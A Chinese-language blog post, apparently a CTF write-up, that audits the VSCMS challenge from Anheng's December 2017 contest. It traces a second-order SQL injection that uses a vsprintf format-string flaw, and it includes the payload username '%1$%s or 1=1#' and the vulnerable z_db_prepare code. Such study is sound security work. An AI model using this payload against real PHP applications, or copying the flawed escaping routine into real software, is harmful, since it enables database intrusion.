sky's blog

2017 安恒12月赛之VSCMS审计

字数统计: 1,975阅读时长: 10 min
2017/12/19 Share

前记

赛后审计了一下这道500分的题目,一会儿就发现了问题,哎,下次不能被高分值的审计题吓到不敢看了……

源码分析

拿到题目先分析了下结构
应该是一个mvc的架构
include/action里的是控制器
include/lib里是用到的类库
include/view里是前端界面
我们直接看include/action/register.php
关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$username = isset($_POST['username']) ? trim($_POST['username']) : '';
$email = '';
$password = isset($_POST['password']) ? trim($_POST['password']) : '';
$password2 = isset($_POST['password2']) ? trim($_POST['password2']) : '';

if ($username == '' || $password == '' || $password2 == '')
die('Imcomplete submission.');

if($password != $password2 || strlen($username) > 50 || strlen($password) > 50)
die('Error submission.');

$zUserObj = new zUser();

$detail = $zUserObj->getDetailUsr($username);

if (isset($detail['id']))
die('Duplicate username');

header("Content-type:text/html;charset=utf-8");
if($zUserObj->add($username, $email, $password)){
die('Success');
}else{
die('Failed');
}

可以看到这里对我们的输入限制

1
2
if($password != $password2 || strlen($username) > 50 || strlen($password) > 50)
die('Error submission.');

对于长度限制,我们暂时不用考虑,50字符的长度还是很容易绕过的
接着看到下面会检测有没有重复用户名

1
2
3
4
5
6
$zUserObj = new zUser();

$detail = $zUserObj->getDetailUsr($username);

if (isset($detail['id']))
die('Duplicate username');

如果没有会进行添加用户

1
2
3
4
5
if($zUserObj->add($username, $email, $password)){
die('Success');
}else{
die('Failed');
}

我们跟进这里的add()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function add($username, $email, $password) {
global $table_prefix;
$hash = md5($password);
$username = trim($username);
$email = trim($email);
$time = get_time();
try {
$sql = z_db_prepare("INSERT INTO {$table_prefix}users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)", $username, $email, $hash, $time);
$sth = $this->dbh->query($sql);
if (!($sth->rowCount() > 0)) {
return FALSE;
}
return TRUE;
} catch (PDOExecption $e) {
throw new Exception($e->getMessage());
}
}

这里会对我们的输入的把我们输入的$username, $email, $hash, $time

1
"INSERT INTO {$table_prefix}users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)"

一起传入z_db_prepare()
于是我们跟进这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function z_db_prepare( $query, $args ) {
if ( is_null( $query ) )
return;
// This is not meant to be foolproof -- but it will catch obviously incorrect usage.
if ( strpos( $query, '%' ) === false ) {
die('The query argument of %s must have a placeholder.');
}
$args = func_get_args();
array_shift( $args );
// If args were passed as an array (as in vsprintf), move them up
if ( isset( $args[0] ) && is_array($args[0]) )
$args = $args[0];
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
array_walk( $args, 'myaddslashes');
return @vsprintf( $query, $args );
}
function myaddslashes(&$v, $key){
$v = addslashes($v);
}

看到这个函数的描述,当时我就感叹了,这就是之前不久爆出的wordpress格式化字符串注入新漏洞

攻击流程分析

于是注册的时候我们构造如下,

1
2
3
$username = "%1$%s or 1=1#";
$password = "1234";
$email = "test@test";

然后传入z_db_prepare()中

1
2
z_db_prepare("INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)", $username, $email, 
$hash, $time)

先看$query的变化:
经过

1
2
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting

处理,所有的%s变成'%s'
变成

1
INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES('%s', '%s', '%s', '%s')

然后再看$args传入后的变化
首先经过

1
$args = func_get_args();

变成:

1
2
3
4
5
6
7
8
9
10
11
12
array(5) {
[0]=>
string(80) "INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)"
[1]=>
string(13) "%1$%s or 1=1#"
[2]=>
string(9) "test@test"
[3]=>
string(32) "81dc9bdb52d04dc20036dbd8313ed055"
[4]=>
string(19) "2017-12-19 13:52:34"
}

又经过

1
array_shift( $args );

变成

1
2
3
4
5
6
7
8
9
10
array(4) {
[0]=>
string(13) "%1$%s or 1=1#"
[1]=>
string(9) "test@test"
[2]=>
string(32) "81dc9bdb52d04dc20036dbd8313ed055"
[3]=>
string(19) "2017-12-19 13:52:44"
}

然后经过

1
array_walk( $args, 'myaddslashes');

变成

1
2
3
4
5
6
7
8
9
10
array(4) {
[0]=>
string(13) "%1$%s or 1=1#"
[1]=>
string(9) "test@test"
[2]=>
string(32) "81dc9bdb52d04dc20036dbd8313ed055"
[3]=>
string(19) "2017-12-19 13:52:57"
}

然后经过

1
@vsprintf( $query, $args );

将$query格式化为:

1
2
INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES('%1$%s or 1=1#', 'test@test', 
'81dc9bdb52d04dc20036dbd8313ed055', '2017-12-19 13:53:07')

然后返回到

1
2
3
4
5
6
$sql = z_db_prepare("INSERT INTO {$table_prefix}users(`username`,`email`,`password`,`time`) VALUES(%s, %s, %s, %s)", $username, $email, $hash, $time);
$sth = $this->dbh->query($sql);
if (!($sth->rowCount() > 0)) {
return FALSE;
}
return TRUE;

可以看见直接执行了我们的sql

1
2
INSERT INTO z_users(`username`,`email`,`password`,`time`) VALUES('%1$%s or 1=1#', 'test@test', 
'81dc9bdb52d04dc20036dbd8313ed055', '2017-12-19 13:53:07')

然后我们用户名为%1$%s or 1=1#的账户就被成功插入
然后我们可以登录了
会来到index.php
然后发现了关键触发点

1
2
3
4
5
6
7
8
9
10
$aObj = new zArticle();
$author = isset($_GET['author'])?trim($_GET['author']):'';
if($author == '')
{
$list = $aObj->getAll();
}
else
{
$list = $aObj->getUserArticles($author);
}

我们在此可以传入我们的用户名作为$_GET['author']

1
%1$%s or 1=1#

于是我们跟进函数getUserArticles()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function getUserArticles($username) {
global $table_prefix;
$username = trim($username);
$status = isset($_GET['status'])?trim($_GET['status']):1;
try {
$uObj = new zUser;
$udetail = $uObj->getDetailUsr($username);
if(!isset($udetail['id'])){
return false;
}
$additional = z_db_prepare("and `username`= %s ", $username);
$sql = z_db_prepare("SELECT * FROM {$table_prefix}articles where `status`=%d ".$additional, $status);
$sth = $this->dbh->query($sql);
$result = $sth->fetchAll(PDO::FETCH_ASSOC);
return $result;
} catch (PDOExecption $e) {
throw new Exception($e->getMessage());
}
}

这里会先判断getDetailUsr(),看用户是否存在
显然我们注册过用户,所以可以轻松绕过这一点
这也是我们必须在注册的时候就引入格式化字符串注入的地方
然后我们的username会被

1
$additional = z_db_prepare("and `username`= %s ", $username);

利用
这里我就不一步一步写出过程了
可以直接得到结果:

1
$additional = and `username`= '%1$%s or 1=1#'

然后传入

1
$sql = z_db_prepare("SELECT * FROM z_articles where `status`=%d ".$additional, $status);

此时的$query为

1
SELECT * FROM z_articles where `status`=%d and `username`= '%1$%s or 1=1#


1
$status = isset($_GET['status'])?trim($_GET['status']):1;

$status=1
然后重点来了!!!!
$query经过

1
2
3
4
$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
$query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
$query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
$query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s

处理%s变成了'%s'
得到:

1
SELECT * FROM z_articles where `status`=%d and `username`= '%1$'%s' or 1=1#

然后最后的$args经过一系列处理变成了

1
2
3
4
array(1) {
[0]=>
string(1) "1"
}

然后来到了最后

1
@vsprintf( $query, $args );

经过格式化字符串后,你会惊奇的发现

1
SELECT * FROM z_articles where `status`=1 and `username`= '1' or 1=1#

单引号成功逃逸了!
那么这是为什么呢?
原因在此:
我们来看一下vsprintf()的一个小特性

1
2
vsprintf('%s, %d, %s', ["a", 1, "b"]); // "a, 1, b"
vsprintf('%s, %d, %1$s', ["a", 1, "b"]); // "a, 1, a"

可以发现%n$s不会读取下一个参数,而是读取第n个位置的参数
所以我们最后的格式化字符串问题:

1
echo vsprintf("%1$'%s'", ["1"]);

结果:

1
1'

因为这里的%s被替换成了array[1]的值,即1
但是问题来了

1
%1$'%s'

大家可以发现中间的'不见了,%1$'%s直接变成了数组第一个值了,按道理说不应该是'1'吗?怎么会是1'
原因如下:
这里利用了vsprintf()的padding功能:
单引号后的一个字符会作为padding填充字符串
官方手册里是这样解释的:

1
2
' 
(规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充))

实例:

1
2
3
4
<?php
$str1 = "Hello";
echo sprintf("[%'*8s]",$str1);
?>

输出

1
[***Hello]

为什么是这样的输出?
因为要长度为8的字符串,不够的用单引号后的*进行填充
所以又3个*
那么我们题中的是

1
%1$'%s

可以看到

1
'%s

这里不存在长度要求,所以不存在填充,直接就可以把单引号吃掉导致了后一个'的逃逸

后记

这道二次注入+最新的格式化字符串的题目我分析下来感觉真的出的很好
之前从来没有分析过新出来的CVE,这道题真的把这个新洞的问题暴露的淋漓尽致~
感谢安恒!

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前记
  2. 2. 源码分析
  3. 3. 攻击流程分析
  4. 4. 后记